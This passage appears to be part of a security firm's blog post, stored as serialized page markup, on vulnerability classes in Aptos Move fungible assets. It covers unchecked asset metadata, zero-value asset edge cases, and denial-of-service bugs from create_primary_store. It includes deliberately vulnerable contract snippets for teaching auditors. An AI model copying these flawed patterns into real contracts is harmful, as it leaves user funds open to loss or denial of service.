increase_deposit",{"type":26,"tag":217,"props":99864,"children":99865},{"style":7048},[99866],{"type":32,"value":1851},{"type":26,"tag":217,"props":99868,"children":99869},{"style":7064},[99870],{"type":32,"value":99871},"get_vault",{"type":26,"tag":217,"props":99873,"children":99874},{"style":7048},[99875],{"type":32,"value":1851},{"type":26,"tag":217,"props":99877,"children":99878},{"style":7054},[99879],{"type":32,"value":99843},{"type":26,"tag":217,"props":99881,"children":99882},{"style":7048},[99883],{"type":32,"value":5407},{"type":26,"tag":217,"props":99885,"children":99886},{"style":7054},[99887],{"type":32,"value":99834},{"type":26,"tag":217,"props":99889,"children":99890},{"style":7048},[99891],{"type":32,"value":7669},{"type":26,"tag":217,"props":99893,"children":99894},{"class":7028,"line":7524},[99895],{"type":26,"tag":217,"props":99896,"children":99897},{"style":7048},[99898],{"type":32,"value":9890},{"type":26,"tag":217,"props":99900,"children":99901},{"class":7028,"line":7553},[99902,99907,99911,99915,99919,99924,99928,99932],{"type":26,"tag":217,"props":99903,"children":99904},{"style":7048},[99905],{"type":32,"value":99906},"    primary_fungible_store",{"type":26,"tag":217,"props":99908,"children":99909},{"style":7149},[99910],{"type":32,"value":56166},{"type":26,"tag":217,"props":99912,"children":99913},{"style":7064},[99914],{"type":32,"value":22601},{"type":26,"tag":217,"props":99916,"children":99917},{"style":7048},[99918],{"type":32,"value":1851},{"type":26,"tag":217,"props":99920,"children":99921},{"style":7064},[99922],{"type":32,"value":99923},"global_vault_address",{"type":26,"tag":217,"props":99925,"children":99926},{"style":7048},[99927],{"type":32,"value":59809},{"type":26,"tag":217,"props":99929,"children":99930},{"style":7054},[99931],{"type":32,"value":99684},{"type":26,"tag":217,"props":99933,"children":99934},{"style":7048},[99935],{"type":32,"value":7669},{"type":26,"tag":217,"props":99937,"children":99938},{"class":7028,"line":7570},[99939],{"type":26,"tag":217,"props":99940,"children":99941},{"style":7048},[99942],{"type":32,"value":9890},{"type":26,"tag":217,"props":99944,"children":99945},{"class":7028,"line":7621},[99946,99951,99955,99959,99963,99968,99973,99977,99981,99985],{"type":26,"tag":217,"props":99947,"children":99948},{"style":7048},[99949],{"type":32,"value":99950},"    event",{"type":26,"tag":217,"props":99952,"children":99953},{"style":7149},[99954],{"type":32,"value":56166},{"type":26,"tag":217,"props":99956,"children":99957},{"style":7064},[99958],{"type":32,"value":49225},{"type":26,"tag":217,"props":99960,"children":99961},{"style":7048},[99962],{"type":32,"value":1851},{"type":26,"tag":217,"props":99964,"children":99965},{"style":7119},[99966],{"type":32,"value":99967},"Deposit",{"type":26,"tag":217,"props":99969,"children":99970},{"style":7048},[99971],{"type":32,"value":99972}," {",{"type":26,"tag":217,"props":99974,"children":99975},{"style":7054},[99976],{"type":32,"value":99843},{"type":26,"tag":217,"props":99978,"children":99979},{"style":7048},[99980],{"type":32,"value":7599},{"type":26,"tag":217,"props":99982,"children":99983},{"style":7054},[99984],{"type":32,"value":99834},{"type":26,"tag":217,"props":99986,"children":99987},{"style":7048},[99988],{"type":32,"value":99989},"})\n",{"type":26,"tag":217,"props":99991,"children":99992},{"class":7028,"line":7672},[99993],{"type":26,"tag":217,"props":99994,"children":99995},{"style":7048},[99996],{"type":32,"value":7184},{"type":26,"tag":39,"props":99998,"children":99999},{},[100000],{"type":32,"value":100001},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":26,"tag":39,"props":100003,"children":100004},{},[100005],{"type":32,"value":100006},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":26,"tag":27,"props":100008,"children":100010},{"id":100009},"fungible-stores",[100011],{"type":32,"value":100012},"Fungible stores",{"type":26,"tag":39,"props":100014,"children":100015},{},[100016],{"type":32,"value":100017},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":26,"tag":39,"props":100019,"children":100020},{},[100021,100023,100029],{"type":32,"value":100022},"Meet the ",{"type":26,"tag":83,"props":100024,"children":100026},{"className":100025},[],[100027],{"type":32,"value":100028},"FungibleStore",{"type":32,"value":180},{"type":26,"tag":207,"props":100031,"children":100033},{"className":56140,"code":100032,"language":56139,"meta":8,"style":8},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[100034],{"type":26,"tag":83,"props":100035,"children":100036},{"__ignoreMap":8},[100037,100062,100089,100109,100128],{"type":26,"tag":217,"props":100038,"children":100039},{"class":7028,"line":7029},[100040,100044,100049,100054,100058],{"type":26,"tag":217,"props":100041,"children":100042},{"style":7154},[100043],{"type":32,"value":12224},{"type":26,"tag":217,"props":100045,"children":100046},{"style":7119},[100047],{"type":32,"value":100048}," FungibleStore",{"type":26,"tag":217,"props":100050,"children":100051},{"style":7054},[100052],{"type":32,"value":100053}," has",{"type":26,"tag":217,"props":100055,"children":100056},{"style":7054},[100057],{"type":32,"value":78245},{"type":26,"tag":217,"props":100059,"children":100060},{"style":7048},[100061],{"type":32,"value":8064},{"type":26,"tag":217,"props":100063,"children":100064},{"class":7028,"line":6770},[100065,100069,100073,100077,100081,100085],{"type":26,"tag":217,"props":100066,"children":100067},{"style":7054},[100068],{"type":32,"value":99505},{"type":26,"tag":217,"props":100070,"children":100071},{"style":7149},[100072],{"type":32,"value":1473},{"type":26,"tag":217,"props":100074,"children":100075},{"style":7119},[100076],{"type":32,"value":99514},{"type":26,"tag":217,"props":100078,"children":100079},{"style":7048},[100080],{"type":32,"value":7289},{"type":26,"tag":217,"props":100082,"children":100083},{"style":7119},[100084],{"type":32,"value":99523},{"type":26,"tag":217,"props":100086,"children":100087},{"style":7048},[100088],{"type":32,"value":77713},{"type":26,"tag":217,"props":100090,"children":100091},{"class":7028,"line":6779},[100092,100097,100101,100105],{"type":26,"tag":217,"props":100093,"children":100094},{"style":7054},[100095],{"type":32,"value":100096},"    balance",{"type":26,"tag":217,"props":100098,"children":100099},{"style":7149},[100100],{"type":32,"value":1473},{"type":26,"tag":217,"props":100102,"children":100103},{"style":7119},[100104],{"type":32,"value":91146},{"type":26,"tag":217,"props":100106,"children":100107},{"style":7048},[100108],{"type":32,"value":10953},{"type":26,"tag":217,"props":100110,"children":100111},{"class":7028,"line":7140},[100112,100116,100120,100124],{"type":26,"tag":217,"props":100113,"children":100114},{"style":7054},[100115],{"type":32,"value":99166},{"type":26,"tag":217,"props":100117,"children":100118},{"style":7149},[100119],{"type":32,"value":1473},{"type":26,"tag":217,"props":100121,"children":100122},{"style":7119},[100123],{"type":32,"value":79568},{"type":26,"tag":217,"props":100125,"children":100126},{"style":7048},[100127],{"type":32,"value":10953},{"type":26,"tag":217,"props":100129,"children":100130},{"class":7028,"line":7165},[100131],{"type":26,"tag":217,"props":100132,"children":100133},{"style":7048},[100134],{"type":32,"value":7184},{"type":26,"tag":39,"props":100136,"children":100137},{},[100138,100143,100145,100150,100152,100157,100159,100164,100166,100171],{"type":26,"tag":83,"props":100139,"children":100141},{"className":100140},[],[100142],{"type":32,"value":100028},{"type":32,"value":100144}," manages balances and metadata instead of holding the actual ",{"type":26,"tag":83,"props":100146,"children":100148},{"className":100147},[],[100149],{"type":32,"value":99464},{"type":32,"value":100151}," (it can't because ",{"type":26,"tag":83,"props":100153,"children":100155},{"className":100154},[],[100156],{"type":32,"value":99464},{"type":32,"value":100158}," doesn't have ",{"type":26,"tag":83,"props":100160,"children":100162},{"className":100161},[],[100163],{"type":32,"value":78989},{"type":32,"value":100165},"). Withdrawals create temporary ",{"type":26,"tag":83,"props":100167,"children":100169},{"className":100168},[],[100170],{"type":32,"value":99464},{"type":32,"value":100172}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":26,"tag":11933,"props":100174,"children":100175},{},[],{"type":26,"tag":39,"props":100177,"children":100178},{},[100179,100181,100186,100188,100193],{"type":32,"value":100180},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":26,"tag":83,"props":100182,"children":100184},{"className":100183},[],[100185],{"type":32,"value":99464},{"type":32,"value":100187}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":26,"tag":83,"props":100189,"children":100191},{"className":100190},[],[100192],{"type":32,"value":99464},{"type":32,"value":180},{"type":26,"tag":207,"props":100195,"children":100197},{"className":56140,"code":100196,"language":56139,"meta":8,"style":8},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    }\n}\n",[100198],{"type":26,"tag":83,"props":100199,"children":100200},{"__ignoreMap":8},[100201,100238,100291,100334,100341,100348,100422,100434,100472,100492,100499],{"type":26,"tag":217,"props":100202,"children":100203},{"class":7028,"line":7029},[100204,100208,100212,100217,100221,100226,100230,100234],{"type":26,"tag":217,"props":100205,"children":100206},{"style":7054},[100207],{"type":32,"value":52893},{"type":26,"tag":217,"props":100209,"children":100210},{"style":7054},[100211],{"type":32,"value":64784},{"type":26,"tag":217,"props":100213,"children":100214},{"style":7064},[100215],{"type":32,"value":100216}," destroy_zero",{"type":26,"tag":217,"props":100218,"children":100219},{"style":7048},[100220],{"type":32,"value":1851},{"type":26,"tag":217,"props":100222,"children":100223},{"style":7054},[100224],{"type":32,"value":100225},"fungible_asset",{"type":26,"tag":217,"props":100227,"children":100228},{"style":7149},[100229],{"type":32,"value":1473},{"type":26,"tag":217,"props":100231,"children":100232},{"style":7119},[100233],{"type":32,"value":99493},{"type":26,"tag":217,"props":100235,"children":100236},{"style":7048},[100237],{"type":32,"value":7618},{"type":26,"tag":217,"props":100239,"children":100240},{"class":7028,"line":6770},[100241,100245,100249,100253,100257,100261,100266,100270,100274,100279,100283,100287],{"type":26,"tag":217,"props":100242,"children":100243},{"style":7154},[100244],{"type":32,"value":77780},{"type":26,"tag":217,"props":100246,"children":100247},{"style":7119},[100248],{"type":32,"value":99493},{"type":26,"tag":217,"props":100250,"children":100251},{"style":7048},[100252],{"type":32,"value":65337},{"type":26,"tag":217,"props":100254,"children":100255},{"style":7054},[100256],{"type":32,"value":99767},{"type":26,"tag":217,"props":100258,"children":100259},{"style":7048},[100260],{"type":32,"value":7599},{"type":26,"tag":217,"props":100262,"children":100263},{"style":7054},[100264],{"type":32,"value":100265},"metadata",{"type":26,"tag":217,"props":100267,"children":100268},{"style":7149},[100269],{"type":32,"value":1473},{"type":26,"tag":217,"props":100271,"children":100272},{"style":7054},[100273],{"type":32,"value":78641},{"type":26,"tag":217,"props":100275,"children":100276},{"style":7048},[100277],{"type":32,"value":100278}," } ",{"type":26,"tag":217,"props":100280,"children":100281},{"style":7149},[100282],{"type":32,"value":267},{"type":26,"tag":217,"props":100284,"children":100285},{"style":7054},[100286],{"type":32,"value":99758},{"type":26,"tag":217,"props":100288,"children":100289},{"style":7048},[100290],{"type":32,"value":7162},{"type":26,"tag":217,"props":100292,"children":100293},{"class":7028,"line":6779},[100294,100299,100303,100307,100311,100315,100320,100324,100329],{"type":26,"tag":217,"props":100295,"children":100296},{"style":7064},[100297],{"type":32,"value":100298},"    assert!",{"type":26,"tag":217,"props":100300,"children":100301},{"style":7048},[100302],{"type":32,"value":1851},{"type":26,"tag":217,"props":100304,"children":100305},{"style":7054},[100306],{"type":32,"value":99767},{"type":26,"tag":217,"props":100308,"children":100309},{"style":7149},[100310],{"type":32,"value":11680},{"type":26,"tag":217,"props":100312,"children":100313},{"style":7130},[100314],{"type":32,"value":9922},{"type":26,"tag":217,"props":100316,"children":100317},{"style":7048},[100318],{"type":32,"value":100319},", error",{"type":26,"tag":217,"props":100321,"children":100322},{"style":7149},[100323],{"type":32,"value":56166},{"type":26,"tag":217,"props":100325,"children":100326},{"style":7064},[100327],{"type":32,"value":100328},"invalid_argument",{"type":26,"tag":217,"props":100330,"children":100331},{"style":7048},[100332],{"type":32,"value":100333},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":26,"tag":217,"props":100335,"children":100336},{"class":7028,"line":7140},[100337],{"type":26,"tag":217,"props":100338,"children":100339},{"style":7048},[100340],{"type":32,"value":7184},{"type":26,"tag":217,"props":100342,"children":100343},{"class":7028,"line":7165},[100344],{"type":26,"tag":217,"props":100345,"children":100346},{"emptyLinePlaceholder":17},[100347],{"type":32,"value":7817},{"type":26,"tag":217,"props":100349,"children":100350},{"class":7028,"line":7178},[100351,100355,100359,100364,100368,100372,100376,100380,100385,100389,100393,100397,100401,100405,100410,100414,100418],{"type":26,"tag":217,"props":100352,"children":100353},{"style":7054},[100354],{"type":32,"value":52893},{"type":26,"tag":217,"props":100356,"children":100357},{"style":7054},[100358],{"type":32,"value":64784},{"type":26,"tag":217,"props":100360,"children":100361},{"style":7054},[100362],{"type":32,"value":100363}," zero",{"type":26,"tag":217,"props":100365,"children":100366},{"style":7048},[100367],{"type":32,"value":7289},{"type":26,"tag":217,"props":100369,"children":100370},{"style":7119},[100371],{"type":32,"value":178},{"type":26,"tag":217,"props":100373,"children":100374},{"style":7149},[100375],{"type":32,"value":1473},{"type":26,"tag":217,"props":100377,"children":100378},{"style":7054},[100379],{"type":32,"value":78245},{"type":26,"tag":217,"props":100381,"children":100382},{"style":7048},[100383],{"type":32,"value":100384},">(",{"type":26,"tag":217,"props":100386,"children":100387},{"style":7054},[100388],{"type":32,"value":100265},{"type":26,"tag":217,"props":100390,"children":100391},{"style":7149},[100392],{"type":32,"value":1473},{"type":26,"tag":217,"props":100394,"children":100395},{"style":7119},[100396],{"type":32,"value":99514},{"type":26,"tag":217,"props":100398,"children":100399},{"style":7048},[100400],{"type":32,"value":7289},{"type":26,"tag":217,"props":100402,"children":100403},{"style":7119},[100404],{"type":32,"value":178},{"type":26,"tag":217,"props":100406,"children":100407},{"style":7048},[100408],{"type":32,"value":100409},">)",{"type":26,"tag":217,"props":100411,"children":100412},{"style":7149},[100413],{"type":32,"value":1473},{"type":26,"tag":217,"props":100415,"children":100416},{"style":7119},[100417],{"type":32,"value":99493},{"type":26,"tag":217,"props":100419,"children":100420},{"style":7048},[100421],{"type":32,"value":8064},{"type":26,"tag":217,"props":100423,"children":100424},{"class":7028,"line":7389},[100425,100430],{"type":26,"tag":217,"props":100426,"children":100427},{"style":7119},[100428],{"type":32,"value":100429},"    FungibleAsset",{"type":26,"tag":217,"props":100431,"children":100432},{"style":7048},[100433],{"type":32,"value":8064},{"type":26,"tag":217,"props":100435,"children":100436},{"class":7028,"line":7406},[100437,100442,100446,100451,100455,100460,100464,100468],{"type":26,"tag":217,"props":100438,"children":100439},{"style":7054},[100440],{"type":32,"value":100441},"        metadata",{"type":26,"tag":217,"props":100443,"children":100444},{"style":7149},[100445],{"type":32,"value":1473},{"type":26,"tag":217,"props":100447,"children":100448},{"style":7048},[100449],{"type":32,"value":100450}," object",{"type":26,"tag":217,"props":100452,"children":100453},{"style":7149},[100454],{"type":32,"value":56166},{"type":26,"tag":217,"props":100456,"children":100457},{"style":7064},[100458],{"type":32,"value":100459},"convert",{"type":26,"tag":217,"props":100461,"children":100462},{"style":7048},[100463],{"type":32,"value":1851},{"type":26,"tag":217,"props":100465,"children":100466},{"style":7054},[100467],{"type":32,"value":100265},{"type":26,"tag":217,"props":100469,"children":100470},{"style":7048},[100471],{"type":32,"value":13841},{"type":26,"tag":217,"props":100473,"children":100474},{"class":7028,"line":7439},[100475,100480,100484,100488],{"type":26,"tag":217,"props":100476,"children":100477},{"style":7054},[100478],{"type":32,"value":100479},"        amount",{"type":26,"tag":217,"props":100481,"children":100482},{"style":7149},[100483],{"type":32,"value":1473},{"type":26,"tag":217,"props":100485,"children":100486},{"style":7130},[100487],{"type":32,"value":9922},{"type":26,"tag":217,"props":100489,"children":100490},{"style":7048},[100491],{"type":32,"value":10953},{"type":26,"tag":217,"props":100493,"children":100494},{"class":7028,"line":7487},[100495],{"type":26,"tag":217,"props":100496,"children":100497},{"style":7048},[100498],{"type":32,"value":9754},{"type":26,"tag":217,"props":100500,"children":100501},{"class":7028,"line":7524},[100502],{"type":26,"tag":217,"props":100503,"children":100504},{"style":7048},[100505],{"type":32,"value":7184},{"type":26,"tag":39,"props":100507,"children":100508},{},[100509],{"type":32,"value":100510},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":26,"tag":39,"props":100512,"children":100513},{},[100514,100516,100521],{"type":32,"value":100515},"In practice, the ability to freely mint and burn zero ",{"type":26,"tag":83,"props":100517,"children":100519},{"className":100518},[],[100520],{"type":32,"value":99605},{"type":32,"value":100522}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":26,"tag":607,"props":100524,"children":100526},{"id":100525},"primary-and-secondary-stores",[100527],{"type":32,"value":100528},"Primary and secondary stores",{"type":26,"tag":39,"props":100530,"children":100531},{},[100532,100538,100540,100546,100548,100553],{"type":26,"tag":83,"props":100533,"children":100535},{"className":100534},[],[100536],{"type":32,"value":100537},"FungibleStores",{"type":32,"value":100539}," in comparison to ",{"type":26,"tag":83,"props":100541,"children":100543},{"className":100542},[],[100544],{"type":32,"value":100545},"CoinStores",{"type":32,"value":100547}," are not unique. Each user can have multiple ",{"type":26,"tag":83,"props":100549,"children":100551},{"className":100550},[],[100552],{"type":32,"value":100028},{"type":32,"value":100554}," objects for a given token!",{"type":26,"tag":39,"props":100556,"children":100557},{},[100558,100560,100567,100569,100574],{"type":32,"value":100559},"A primary fungible store is maintained via the aptly named ",{"type":26,"tag":163,"props":100561,"children":100564},{"href":100562,"rel":100563},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[167],[100565],{"type":32,"value":100566},"primary_fungible_store",{"type":32,"value":100568}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":26,"tag":83,"props":100570,"children":100572},{"className":100571},[],[100573],{"type":32,"value":99523},{"type":32,"value":100575}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":26,"tag":39,"props":100577,"children":100578},{},[100579],{"type":32,"value":100580},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":26,"tag":207,"props":100582,"children":100584},{"className":56140,"code":100583,"language":56139,"meta":8,"style":8},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[100585],{"type":26,"tag":83,"props":100586,"children":100587},{"__ignoreMap":8},[100588,100612,100645,100668,100684,100740,100755],{"type":26,"tag":217,"props":100589,"children":100590},{"class":7028,"line":7029},[100591,100595,100599,100603,100608],{"type":26,"tag":217,"props":100592,"children":100593},{"style":7054},[100594],{"type":32,"value":52893},{"type":26,"tag":217,"props":100596,"children":100597},{"style":7054},[100598],{"type":32,"value":89881},{"type":26,"tag":217,"props":100600,"children":100601},{"style":7054},[100602],{"type":32,"value":64784},{"type":26,"tag":217,"props":100604,"children":100605},{"style":7064},[100606],{"type":32,"value":100607}," register",{"type":26,"tag":217,"props":100609,"children":100610},{"style":7048},[100611],{"type":32,"value":10932},{"type":26,"tag":217,"props":100613,"children":100614},{"class":7028,"line":6770},[100615,100620,100624,100628,100632,100637,100641],{"type":26,"tag":217,"props":100616,"children":100617},{"style":7054},[100618],{"type":32,"value":100619},"    user",{"type":26,"tag":217,"props":100621,"children":100622},{"style":7149},[100623],{"type":32,"value":1473},{"type":26,"tag":217,"props":100625,"children":100626},{"style":7149},[100627],{"type":32,"value":10222},{"type":26,"tag":217,"props":100629,"children":100630},{"style":7054},[100631],{"type":32,"value":79834},{"type":26,"tag":217,"props":100633,"children":100634},{"style":7048},[100635],{"type":32,"value":100636},", [",{"type":26,"tag":217,"props":100638,"children":100639},{"style":7149},[100640],{"type":32,"value":13251},{"type":26,"tag":217,"props":100642,"children":100643},{"style":7048},[100644],{"type":32,"value":13256},{"type":26,"tag":217,"props":100646,"children":100647},{"class":7028,"line":6779},[100648,100652,100656,100660,100664],{"type":26,"tag":217,"props":100649,"children":100650},{"style":7048},[100651],{"type":32,"value":8380},{"type":26,"tag":217,"props":100653,"children":100654},{"style":7054},[100655],{"type":32,"value":99705},{"type":26,"tag":217,"props":100657,"children":100658},{"style":7048},[100659],{"type":32,"value":95870},{"type":26,"tag":217,"props":100661,"children":100662},{"style":7149},[100663],{"type":32,"value":13251},{"type":26,"tag":217,"props":100665,"children":100666},{"style":7048},[100667],{"type":32,"value":99718},{"type":26,"tag":217,"props":100669,"children":100670},{"class":7028,"line":7140},[100671,100676,100680],{"type":26,"tag":217,"props":100672,"children":100673},{"style":7048},[100674],{"type":32,"value":100675},"    [",{"type":26,"tag":217,"props":100677,"children":100678},{"style":7149},[100679],{"type":32,"value":13251},{"type":26,"tag":217,"props":100681,"children":100682},{"style":7048},[100683],{"type":32,"value":13256},{"type":26,"tag":217,"props":100685,"children":100686},{"class":7028,"line":7165},[100687,100691,100696,100700,100705,100710,100714,100719,100723,100727,100731,100736],{"type":26,"tag":217,"props":100688,"children":100689},{"style":7154},[100690],{"type":32,"value":77780},{"type":26,"tag":217,"props":100692,"children":100693},{"style":7054},[100694],{"type":32,"value":100695}," wallet_store",{"type":26,"tag":217,"props":100697,"children":100698},{"style":7149},[100699],{"type":32,"value":8993},{"type":26,"tag":217,"props":100701,"children":100702},{"style":7064},[100703],{"type":32,"value":100704}," create_primary_store",{"type":26,"tag":217,"props":100706,"children":100707},{"style":7048},[100708],{"type":32,"value":100709},"(signer",{"type":26,"tag":217,"props":100711,"children":100712},{"style":7149},[100713],{"type":32,"value":56166},{"type":26,"tag":217,"props":100715,"children":100716},{"style":7064},[100717],{"type":32,"value":100718},"address_of",{"type":26,"tag":217,"props":100720,"children":100721},{"style":7048},[100722],{"type":32,"value":1851},{"type":26,"tag":217,"props":100724,"children":100725},{"style":7054},[100726],{"type":32,"value":99813},{"type":26,"tag":217,"props":100728,"children":100729},{"style":7048},[100730],{"type":32,"value":5407},{"type":26,"tag":217,"props":100732,"children":100733},{"style":7064},[100734],{"type":32,"value":100735},"get_metadata",{"type":26,"tag":217,"props":100737,"children":100738},{"style":7048},[100739],{"type":32,"value":8348},{"type":26,"tag":217,"props":100741,"children":100742},{"class":7028,"line":7178},[100743,100747,100751],{"type":26,"tag":217,"props":100744,"children":100745},{"style":7048},[100746],{"type":32,"value":100675},{"type":26,"tag":217,"props":100748,"children":100749},{"style":7149},[100750],{"type":32,"value":13251},{"type":26,"tag":217,"props":100752,"children":100753},{"style":7048},[100754],{"type":32,"value":13256},{"type":26,"tag":217,"props":100756,"children":100757},{"class":7028,"line":7389},[100758],{"type":26,"tag":217,"props":100759,"children":100760},{"style":7048},[100761],{"type":32,"value":7184},{"type":26,"tag":39,"props":100763,"children":100764},{},[100765,100766,100772,100774,100780],{"type":32,"value":475},{"type":26,"tag":83,"props":100767,"children":100769},{"className":100768},[],[100770],{"type":32,"value":100771},"create_primary_store",{"type":32,"value":100773}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":26,"tag":83,"props":100775,"children":100777},{"className":100776},[],[100778],{"type":32,"value":100779},"ensure_primary_store_exists",{"type":32,"value":100781}," is recommended to avoid such issues.",{"type":26,"tag":27,"props":100783,"children":100785},{"id":100784},"fungible-assets-and-objects",[100786],{"type":32,"value":100787},"Fungible assets and objects",{"type":26,"tag":39,"props":100789,"children":100790},{},[100791,100793,100798,100800,100807],{"type":32,"value":100792},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":26,"tag":83,"props":100794,"children":100796},{"className":100795},[],[100797],{"type":32,"value":33511},{"type":32,"value":100799}," module, introduced in ",{"type":26,"tag":163,"props":100801,"children":100804},{"href":100802,"rel":100803},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[167],[100805],{"type":32,"value":100806},"AIP-10",{"type":32,"value":180},{"type":26,"tag":35,"props":100809,"children":100810},{},[100811],{"type":26,"tag":39,"props":100812,"children":100813},{},[100814,100818],{"type":26,"tag":217,"props":100815,"children":100816},{},[100817],{"type":32,"value":99403},{"type":32,"value":100819}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":26,"tag":39,"props":100821,"children":100822},{},[100823],{"type":32,"value":100824},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":26,"tag":607,"props":100826,"children":100828},{"id":100827},"creation-and-deletion",[100829],{"type":32,"value":100830},"Creation and deletion",{"type":26,"tag":39,"props":100832,"children":100833},{},[100834,100836,100842],{"type":32,"value":100835},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":26,"tag":83,"props":100837,"children":100839},{"className":100838},[],[100840],{"type":32,"value":100841},"fungible_asset::add_fungibility",{"type":32,"value":1473},{"type":26,"tag":207,"props":100844,"children":100846},{"className":56140,"code":100845,"language":56139,"meta":8,"style":8},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[100847],{"type":26,"tag":83,"props":100848,"children":100849},{"__ignoreMap":8},[100850],{"type":26,"tag":217,"props":100851,"children":100852},{"class":7028,"line":7029},[100853,100858,100862,100866,100871,100875,100880,100884,100889,100894,100898,100902],{"type":26,"tag":217,"props":100854,"children":100855},{"style":7064},[100856],{"type":32,"value":100857},"assert!",{"type":26,"tag":217,"props":100859,"children":100860},{"style":7048},[100861],{"type":32,"value":1851},{"type":26,"tag":217,"props":100863,"children":100864},{"style":7149},[100865],{"type":32,"value":11704},{"type":26,"tag":217,"props":100867,"children":100868},{"style":7048},[100869],{"type":32,"value":100870},"object",{"type":26,"tag":217,"props":100872,"children":100873},{"style":7149},[100874],{"type":32,"value":56166},{"type":26,"tag":217,"props":100876,"children":100877},{"style":7064},[100878],{"type":32,"value":100879},"can_generate_delete_ref",{"type":26,"tag":217,"props":100881,"children":100882},{"style":7048},[100883],{"type":32,"value":1851},{"type":26,"tag":217,"props":100885,"children":100886},{"style":7054},[100887],{"type":32,"value":100888},"constructor_ref",{"type":26,"tag":217,"props":100890,"children":100891},{"style":7048},[100892],{"type":32,"value":100893},"), error",{"type":26,"tag":217,"props":100895,"children":100896},{"style":7149},[100897],{"type":32,"value":56166},{"type":26,"tag":217,"props":100899,"children":100900},{"style":7064},[100901],{"type":32,"value":100328},{"type":26,"tag":217,"props":100903,"children":100904},{"style":7048},[100905],{"type":32,"value":100906},"(EOBJECT_IS_DELETABLE));\n",{"type":26,"tag":39,"props":100908,"children":100909},{},[100910,100912,100917,100919,100924,100925,100932],{"type":32,"value":100911},"This object serves as the foundation for ownership tokens in the form of a ",{"type":26,"tag":83,"props":100913,"children":100915},{"className":100914},[],[100916],{"type":32,"value":99464},{"type":32,"value":100918},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":26,"tag":83,"props":100920,"children":100922},{"className":100921},[],[100923],{"type":32,"value":100841},{"type":32,"value":19795},{"type":26,"tag":163,"props":100926,"children":100929},{"href":100927,"rel":100928},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[167],[100930],{"type":32,"value":100931},"lacked this assert",{"type":32,"value":100933},", which we discovered and reported.",{"type":26,"tag":39,"props":100935,"children":100936},{},[100937,100942,100944,100949,100951,100956],{"type":26,"tag":83,"props":100938,"children":100940},{"className":100939},[],[100941],{"type":32,"value":100841},{"type":32,"value":100943}," transfers the ",{"type":26,"tag":83,"props":100945,"children":100947},{"className":100946},[],[100948],{"type":32,"value":99523},{"type":32,"value":100950}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":26,"tag":83,"props":100952,"children":100954},{"className":100953},[],[100955],{"type":32,"value":99464},{"type":32,"value":100957}," can be minted, representing a share of ownership in that object.",{"type":26,"tag":207,"props":100959,"children":100961},{"className":56140,"code":100960,"language":56139,"meta":8,"style":8},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[100962],{"type":26,"tag":83,"props":100963,"children":100964},{"__ignoreMap":8},[100965,100973,100993,101008,101035,101050,101071,101083,101095,101107,101119,101131,101143,101150,101157,101172],{"type":26,"tag":217,"props":100966,"children":100967},{"class":7028,"line":7029},[100968],{"type":26,"tag":217,"props":100969,"children":100970},{"style":7033},[100971],{"type":32,"value":100972},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":26,"tag":217,"props":100974,"children":100975},{"class":7028,"line":6770},[100976,100980,100984,100989],{"type":26,"tag":217,"props":100977,"children":100978},{"style":7054},[100979],{"type":32,"value":52893},{"type":26,"tag":217,"props":100981,"children":100982},{"style":7054},[100983],{"type":32,"value":64784},{"type":26,"tag":217,"props":100985,"children":100986},{"style":7064},[100987],{"type":32,"value":100988}," 